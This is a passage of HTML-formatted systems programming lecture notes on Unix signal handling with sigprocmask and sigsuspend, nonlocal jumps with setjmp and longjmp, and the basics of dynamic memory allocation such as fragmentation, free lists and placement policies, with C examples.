    sigprocmask(SIG_SETMASK, &amp;amp;prev_all, NULL);
  }
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;void handler(int sig) {
  int olderrno = errno;
  sigset_t mask_all, prev_all;
  pid_t pid;

  sigfillset(&amp;amp;mask_all);
  while ((pid = waitpid(-1, NULL, 0)) &amp;gt; 0) { /* Reap child */
    sigprocmask(SIG_BLOCK, &amp;amp;mask_all, &amp;amp;prev_all);
    deletejob(pid); /* Delete the child from the job list */
    sigprocmask(SIG_SETMASK, &amp;amp;prev_all, NULL);
  }
  if (errno != ECHILD)
    Sio_error(&quot;waitpid error&quot;);
  errno = olderrno;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Corrected Shell Program without Race&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv) {
  int pid;
  sigset_t mask_all, mask_one, prev_one;

  sigfillset(&amp;amp;mask_all);
  sigemptyset(&amp;amp;mask_one);
  sigaddset(&amp;amp;mask_one, SIGCHLD);
  signal(SIGCHLD, handler);
  initjobs(); /* Initialize the job list */

  while (1) {
    sigprocmask(SIG_BLOCK, &amp;amp;mask_one, &amp;amp;prev_one); /* Block SIGCHLD */
    if ((pid = Fork()) == 0) { /* Child process */
      sigprocmask(SIG_SETMASK, &amp;amp;prev_one, NULL); /* Unblock SIGCHLD */
      execve(&quot;/bin/date&quot;, argv, NULL);
    }
    sigprocmask(SIG_BLOCK, &amp;amp;mask_all, NULL); /* Parent process */
    addjob(pid); /* Add the child to the job list */
    sigprocmask(SIG_SETMASK, &amp;amp;prev_one, NULL); /* Unblock SIGCHLD */
  }
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Explicitly Waiting for Signals&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Handlers for program explicitly waiting for SIGCHLD to arrive&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;volatile sig_atomic_t pid;

void sigchld_handler(int s) {
  int olderrno = errno;
  pid = waitpid(-1, NULL, 0); /* Main is waiting for nonzero pid */
  errno = olderrno;
}

void sigint_handler(int s) {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Similar to a shell waiting for a foreground job to terminate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv) {
  sigset_t mask, prev;

  signal(SIGCHLD, sigchld_handler);
  signal(SIGINT, sigint_handler);
  sigemptyset(&amp;amp;mask);
  sigaddset(&amp;amp;mask, SIGCHLD);

  while (1) {
    sigprocmask(SIG_BLOCK, &amp;amp;mask, &amp;amp;prev); /* Block SIGCHLD */
    if (fork() == 0) /* Child */
      exit(0);

    /* Parent */
    pid = 0;
    sigprocmask(SIG_SETMASK, &amp;amp;prev, NULL); /* Unblock SIGCHLD */

    /* Wait for SIGCHLD to be received (wasteful!) */
    while (!pid)
      ;

    /* Do some work after receiving SIGCHLD */
    printf(&quot;.&quot;);
  }
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Program is correct, but very wasteful&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other options:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while (!pid) /* Race! */
  pause();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;while (!pid) /* Too slow! */
  sleep(1);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Solution: &lt;code&gt;sigsuspend&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Waiting for Signals with sigsuspend&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;int sigsuspend(const sigset_t *mask)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;It&apos;ll temporarily use &lt;code&gt;const sigset_t *mask&lt;/code&gt; instead of currently signal block mask, then hang on program. Once catch signal, revert the signal block mask to original one&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv) {
  sigset_t mask, prev;

  signal(SIGCHLD, sigchld_handler);
  signal(SIGINT, sigint_handler);
  sigemptyset(&amp;amp;mask);
  sigaddset(&amp;amp;mask, SIGCHLD);

  while (1) {
    sigprocmask(SIG_BLOCK, &amp;amp;mask, &amp;amp;prev); /* Block SIGCHLD */
    if (fork() == 0) /* Child */
      exit(0);

    /* Wait for SIGCHLD to be received */
    pid = 0;
    while (!pid)
      sigsuspend(&amp;amp;prev);

    /* Optionally unblock SIGCHLD */
    sigprocmask(SIG_SETMASK, &amp;amp;prev, NULL);
    /* Do some work after receiving SIGCHLD */
    printf(&quot;.&quot;);
  }
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nonlocal Jumps&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Powerful (but dangerous) user-level mechanism for transferring control to an arbitrary location&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Controlled to way to break the procedure call / return discipline&lt;/li&gt;
&lt;li&gt;Useful for error recovery and signal handling&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;int setjmp(jmp_buf buf)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Must be called before &lt;strong&gt;longjmp&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Identifies a return site for a subsequent &lt;strong&gt;longjmp&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Called once, returns one or more times&lt;/li&gt;
&lt;li&gt;Implementation:
&lt;ul&gt;
&lt;li&gt;Remember where you are by storing the current &lt;em&gt;register context&lt;/em&gt;, &lt;em&gt;stack pointer&lt;/em&gt;, and &lt;em&gt;PC&lt;/em&gt; value in &lt;code&gt;buf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Return &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;int sigsetjmp(sigjmp_buf buf, int save);&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Similar as &lt;strong&gt;setjmp&lt;/strong&gt;, &lt;code&gt;save&lt;/code&gt; indicates whether save signal block mask (can only be &lt;code&gt;0&lt;/code&gt; (don&apos;t save) or &lt;code&gt;1&lt;/code&gt; (save))&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;void longjmp(jmp_buf buf, int val)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Meaning:
&lt;ul&gt;
&lt;li&gt;return from the &lt;strong&gt;setjmp&lt;/strong&gt; remembered by jump buffer &lt;code&gt;buf&lt;/code&gt; again...&lt;/li&gt;
&lt;li&gt;...this time returning &lt;code&gt;val&lt;/code&gt; instead of &lt;code&gt;0&lt;/code&gt; (if &lt;code&gt;val&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;, force return &lt;code&gt;1&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Called after &lt;strong&gt;setjmp&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Called once, but never returns&lt;/li&gt;
&lt;li&gt;Implementation:
&lt;ul&gt;
&lt;li&gt;Restore &lt;em&gt;register context&lt;/em&gt;, &lt;em&gt;stack pointer&lt;/em&gt;, &lt;em&gt;base pointer&lt;/em&gt;, &lt;em&gt;PC&lt;/em&gt; value from jump buffer &lt;code&gt;buf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Set &lt;strong&gt;%eax&lt;/strong&gt; to &lt;code&gt;val&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Jump to the location indicated by the &lt;em&gt;PC&lt;/em&gt; stored in jump buf &lt;code&gt;buf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;void siglongjmp(sigjmp_buf buf, int val);&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Same as &lt;strong&gt;longjmp&lt;/strong&gt;, just using with &lt;strong&gt;sigsetjmp&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;setjmp/longjmp Example&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Goal: return directly to original caller from a deeply-nested function&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;jmp_buf buf;

int error1 = 0;
int error2 = 1;

void foo(void), bar(void);

int main() {
  switch(setjmp(buf)) {
  case 0:
    foo();
    break;
  case 1:
    printf(&quot;Detected an error1 condition in foo\n&quot;);
    break;
  case 2:
    printf(&quot;Detected an error2 condition in foo\n&quot;);
    break;
  default:
    printf(&quot;Unknown error condition in foo\n&quot;);
  }
  exit(0);
}

/* Deeply nested function foo */
void foo(void) {
  if (error1)
    longjmp(buf, 1);
  bar();
}

void bar(void) {
  if (error2)
    longjmp(buf, 2);
}

// Output: Detected an error2 condition in foo
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;sigsetjmp/siglongjmp Example&lt;/h3&gt;
&lt;p&gt;This program restarts itself when Ctrl-C&apos;d:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sigjmp_buf buf;

void handler(int sig) {
  siglongjmp(buf, 1);
}

int main() {
  if (!sigsetjmp(buf, 1)) {
    signal(SIGINT, handler);
    Sio_puts(&quot;starting\n&quot;);
  }
  else
    Sio_puts(&quot;restarting\n&quot;);

  while(1) {
    sleep(1);
    Sio_puts(&quot;processing...\n&quot;);
  }
  exit(0); /* Control never reaches here */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Limitations of Nonlocal Jumps&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Works within stack discipline
&lt;ul&gt;
&lt;li&gt;Can only long jump to environment of function that has been called but not yet completed&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;jmp_buf env;

P1() {
  if (setjmp(env)) {
    /* Long Jump to here */
  } else {
    P2();
  }
}
P2() { . . . P2(); . . . P3(); }
P3() {
  longjmp(env, 1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1lc4v4zquz.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jmp_buf env;

P1() {
  P2();
  P3();
}

P2() {
  if (setjmp(env)) {
    /* Long Jump to here */
  }
}

P3() {
  longjmp(env, 1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5j4ibtsb04.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;Virtual Memory&lt;/h1&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h1&gt;Dynamic Memory Allocation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Assumptions for following examples:
&lt;ul&gt;
&lt;li&gt;Memory is word addressed&lt;/li&gt;
&lt;li&gt;Words are int-sized&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Basic Concepts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Programmers use dynamic memory allocators (such as &lt;strong&gt;malloc&lt;/strong&gt;) to acquire virtual memory at runtime
&lt;ul&gt;
&lt;li&gt;For data structures whose size is only known at runtime&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Dynamic memory allocators manage an area of process virtual memory known as the heap&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.99to01ffdl.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocator maintains heap as collection of variable sized blocks, which are either allocated or free&lt;/li&gt;
&lt;li&gt;Types of allocators
&lt;ul&gt;
&lt;li&gt;Explicit allocator: application allocates and frees space
&lt;ul&gt;
&lt;li&gt;E.g., &lt;strong&gt;malloc&lt;/strong&gt; and &lt;strong&gt;free&lt;/strong&gt; in C&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Implicit allocator: application allocates, but does not free space
&lt;ul&gt;
&lt;li&gt;E.g. garbage collection in &lt;strong&gt;Java&lt;/strong&gt;, &lt;strong&gt;ML&lt;/strong&gt;, and &lt;strong&gt;Lisp&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The malloc Package&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;void *malloc(size_t size)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Successful:
&lt;ul&gt;
&lt;li&gt;Returns a pointer to a memory block of at least size bytes aligned to an 8-byte (x86) or 16-byte (x86-64) boundary&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;size == 0&lt;/code&gt;, returns NULL&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Unsuccessful: returns NULL (0) and sets &lt;strong&gt;errno&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;void free(void *p)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Returns the block pointed at by &lt;strong&gt;p&lt;/strong&gt; to pool of available memory&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;p&lt;/strong&gt; must come from a previous call to &lt;strong&gt;malloc&lt;/strong&gt; or &lt;strong&gt;realloc&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Other functions
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;calloc&lt;/code&gt;: Version of &lt;strong&gt;malloc&lt;/strong&gt; that initializes allocated block to zero&lt;/li&gt;
&lt;li&gt;&lt;code&gt;realloc&lt;/code&gt;: Changes the size of a previously allocated block&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sbrk&lt;/code&gt;: Used internally by allocators to grow or shrink the heap&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void foo(int n) {
  int i, *p;

  /* Allocate a block of n ints */
  p = (int *)malloc(n * sizeof(int));
  if (p == NULL) {
    perror(&quot;malloc&quot;);
    exit(0);
  }

  /* Initialize allocated block */
  for (i = 0; i &amp;lt; n; i++)
    p[i] = i;


  /* Return allocated block to the heap */
  free(p);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Constrains&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Applications
&lt;ul&gt;
&lt;li&gt;Can issue arbitrary sequence of &lt;strong&gt;malloc&lt;/strong&gt; and &lt;strong&gt;free&lt;/strong&gt; requests&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;free&lt;/strong&gt; request must be to a &lt;strong&gt;malloc&lt;/strong&gt;&apos;d block&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Allocators
&lt;ul&gt;
&lt;li&gt;Can&apos;t control number or size of allocated blocks&lt;/li&gt;
&lt;li&gt;Must respond immediately to &lt;strong&gt;malloc&lt;/strong&gt; requests
&lt;ul&gt;
&lt;li&gt;i.e., can&apos;t reorder or buffer requests&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Must allocate blocks from free memory
&lt;ul&gt;
&lt;li&gt;i.e., can only place allocated blocks in free memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Must align blocks so they satisfy all alignment requirements
&lt;ul&gt;
&lt;li&gt;8-byte (x86) or 16-byte (x86-64) alignment on Linux boxes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Can manipulate and modify only free memory&lt;/li&gt;
&lt;li&gt;Can&apos;t move the allocated blocks once they are &lt;strong&gt;malloc&lt;/strong&gt;&apos;d
&lt;ul&gt;
&lt;li&gt;i.e., compaction is not allowed&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Performance Goal&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Goals: maximize throughput and peak memory utilization
&lt;ul&gt;
&lt;li&gt;These goals are often conflicting&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Throughput&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Given some sequence of &lt;strong&gt;malloc&lt;/strong&gt; and &lt;strong&gt;free&lt;/strong&gt; requests:
&lt;ul&gt;
&lt;li&gt;$R_{0} ,R_{1} ,...,R_{k} ,...,R_{n-1}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Throughput
&lt;ul&gt;
&lt;li&gt;Number of completed requests per unit time&lt;/li&gt;
&lt;li&gt;Example:
&lt;ul&gt;
&lt;li&gt;5,000 &lt;strong&gt;malloc&lt;/strong&gt; calls and 5,000 &lt;strong&gt;free&lt;/strong&gt; calls in 10 seconds&lt;/li&gt;
&lt;li&gt;Throughput is 1,000 operations/second&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Peak Memory Utilization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Given some sequence of &lt;strong&gt;malloc&lt;/strong&gt; and &lt;strong&gt;free&lt;/strong&gt; requests:
&lt;ul&gt;
&lt;li&gt;$R_{0} ,R_{1} ,...,R_{k} ,...,R_{n-1}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Def: Aggregate payload $P_{k}$
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;malloc(p)&lt;/code&gt; results in a block with a &lt;em&gt;payload&lt;/em&gt; of &lt;strong&gt;p&lt;/strong&gt; bytes&lt;/li&gt;
&lt;li&gt;After request $R_{k}$ has completed, the &lt;em&gt;aggregate payload&lt;/em&gt; $P_{k}$ is the sum of currently allocated payloads&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Def: Current heap size $H_{k}$
&lt;ul&gt;
&lt;li&gt;Assume $H_{k}$ is monotonically nondecreasing
&lt;ul&gt;
&lt;li&gt;i.e., heap only grows when allocator uses &lt;strong&gt;sbrk&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Def: Peak memory utilization after $k+1$ requests
&lt;ul&gt;
&lt;li&gt;$\displaystyle U_{k} =( max_{i\leqslant k} \ P_{i}) /H_{k}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Fragmentation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Poor memory utilization caused by fragmentation
&lt;ul&gt;
&lt;li&gt;internal fragmentation&lt;/li&gt;
&lt;li&gt;external fragmentation&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Internal Fragmentation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;For a given block, &lt;em&gt;internal fragmentation&lt;/em&gt; occurs if payload is smaller than block size&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5j4iev728s.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Caused by
&lt;ul&gt;
&lt;li&gt;Overhead of maintaining heap data structures&lt;/li&gt;
&lt;li&gt;Padding for alignment purposes&lt;/li&gt;
&lt;li&gt;Explicit policy decisions
&lt;ul&gt;
&lt;li&gt;E.g., to return a big block to satisfy a small request&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Depends only on the pattern of previous requests
&lt;ul&gt;
&lt;li&gt;Thus, easy to measure&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;External Fragmentation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Occurs when there is enough aggregate heap memory, but no single free block is large enough&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok0dtbq9w.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Depends on the pattern of future requests
&lt;ul&gt;
&lt;li&gt;Thus, difficult to measure&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Implementation Issues&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;How do we know how much memory to free given just a pointer ?&lt;/li&gt;
&lt;li&gt;How do we keep track of the free blocks ?&lt;/li&gt;
&lt;li&gt;What do we do with the extra space when allocating a structure that is smaller than the free block it is placed in ?&lt;/li&gt;
&lt;li&gt;How do we pick a block to use for allocation -- many might fit ?&lt;/li&gt;
&lt;li&gt;How do we reinsert freed block ?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Knowing How Much to Free&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Standard method
&lt;ul&gt;
&lt;li&gt;Keep the length of a block in the word preceding the block
&lt;ul&gt;
&lt;li&gt;This word is often called the header field or header&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Requires an extra word for every allocated block&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.67xryw937x.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Keeping Track of Free Blocks&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Method 1: &lt;em&gt;Implicit list&lt;/em&gt; using length-links all blocks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh37i35k3.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Method 2: &lt;em&gt;Explicit list&lt;/em&gt; among the free blocks using pointers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a22enk2p.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Method 3: &lt;em&gt;Segregated free list&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Different free lists for different size classes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Method 4: &lt;em&gt;Blocks sorted by size&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Can use a balanced tree (e.g. Red-Black tree) with pointers within each free block, and the length used as a key&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Implicit List&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;For each block we need both size and allocation status
&lt;ul&gt;
&lt;li&gt;Could store this information in two words: wasteful !&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Standard trick
&lt;ul&gt;
&lt;li&gt;If blocks are aligned, some low-order address bits are always 0&lt;/li&gt;
&lt;li&gt;Instead of storing an always-0 bit, use it as a allocated/free flag&lt;/li&gt;
&lt;li&gt;When reading size word, must mask out this bit&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.sz9ghda3u.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Detailed Implicit Free List Example&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Payload must be double-word aligned&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51egqb4ltk.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have an internal fragmentation in first allocated block because of payload is only 2 words but allocated 4 words&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Finding a Free Block&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;First fit
&lt;ul&gt;
&lt;li&gt;Search list from beginning, choose first free block that fits:&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;p = start;
while ((p &amp;lt; end) &amp;amp;&amp;amp;  // not passed end
      ((*p &amp;amp; 1) ||   // already allocated
      (*p &amp;lt;= len)))  // too small
  p = p + (*p &amp;amp; -2); // goto next block (word addressed)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Can take linear time in total number of blocks (allocated and free)&lt;/li&gt;
&lt;li&gt;In practice it can cause &quot;splinters&quot; at beginning of list&lt;/li&gt;
&lt;li&gt;Next fit
&lt;ul&gt;
&lt;li&gt;Like first fit, but search list starting where previous search finished&lt;/li&gt;
&lt;li&gt;Should often be faster than first fit: avoids re-scanning unhelpful blocks&lt;/li&gt;
&lt;li&gt;Some research suggests that fragmentation is worse&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Best fit
&lt;ul&gt;
&lt;li&gt;Search the list, choose the best free block: fits, with fewest bytes left over&lt;/li&gt;
&lt;li&gt;Keeps fragments small — usually improves memory utilization&lt;/li&gt;
&lt;li&gt;Will typically run slower than first fit&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Allocating in Free Block&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Splitting
&lt;ul&gt;
&lt;li&gt;Since allocated space might be smaller than free space, we might want to split the block&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8z6u7er5p4.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void addblock(ptr p, int len) {
  int newsize = ((len + 1) &amp;gt;&amp;gt; 1) &amp;lt;&amp;lt; 1; // round up to even
  int oldsize = *p &amp;amp; -2;               // mask out low bit
  *p = newsize | 1;                    // set new length
  if (newsize &amp;lt; oldsize)
    *(p+newsize) = oldsize - newsize;  // set length in remaining
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Freeing a Block&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Simplest implementation
&lt;ul&gt;
&lt;li&gt;Need only clear the &lt;em&gt;allocated&lt;/em&gt; flag
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;void free_block(ptr p) { *p = *p &amp;amp; -2 }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;But can lead to &quot;false fragmentation&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5q7qar6trr.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There is enough free space, but the allocator won&apos;t be able to find it&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Coalescing&lt;/h4&gt;
&lt;ul&gt;
